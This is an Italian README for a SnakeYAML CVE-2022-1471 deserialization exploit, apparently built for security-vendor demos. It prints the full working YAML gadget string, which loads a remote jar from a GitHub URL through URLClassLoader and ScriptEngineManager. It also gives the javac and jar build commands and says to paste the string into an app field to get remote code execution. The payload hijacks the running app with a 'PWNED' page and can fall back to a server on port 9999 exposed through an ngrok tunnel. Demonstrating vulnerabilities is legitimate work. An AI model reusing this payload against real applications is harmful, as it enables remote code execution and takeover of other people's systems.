
SnakeYAML CVE-2022-1471 payload di exploit per le demo di Seal Security
Un payload di sfruttamento della deserializzazione SnakeYAML per CVE-2022-1471, adattato da artsploit/yaml-payload (originariamente basato su mbechler/marshalsec).
Quando viene caricato tramite il metodo non sicuro Yaml.load() di SnakeYAML, questo payload prende il controllo dell'applicazione in esecuzione e la sostituisce con una pagina "You've Been PWNED":
Se l'iniezione della Tomcat Valve non è disponibile (ad es. app non Spring), ripiega sull'avvio di un server HTTP autonomo sulla porta 9999 e crea automaticamente un tunnel ngrok se ngrok è in esecuzione.
Funziona sia localmente su macOS che nelle pipeline CI/CD (ad es. GitHub Actions su Ubuntu).
Il payload SnakeYAML attiva ScriptEngineManager tramite lo SPI Java (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL che punta al yaml-payload.jar di questo repositoryURLClassLoader per caricare classi remoteScriptEngineManager scopre e carica AwesomeScriptEngineFactory tramite META-INF/services/javax.script.ScriptEngineFactory/ con la pagina PWNEDRichiede JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Usato come payload di sfruttamento nel progetto maven-demo. Incolla la stringa del payload nel campo nome dell'app per attivare l'RCE. La pagina dell'app verrà sostituita con la pagina PWNED alla richiesta successiva. Consulta il README di quel repository per le istruzioni complete della demo.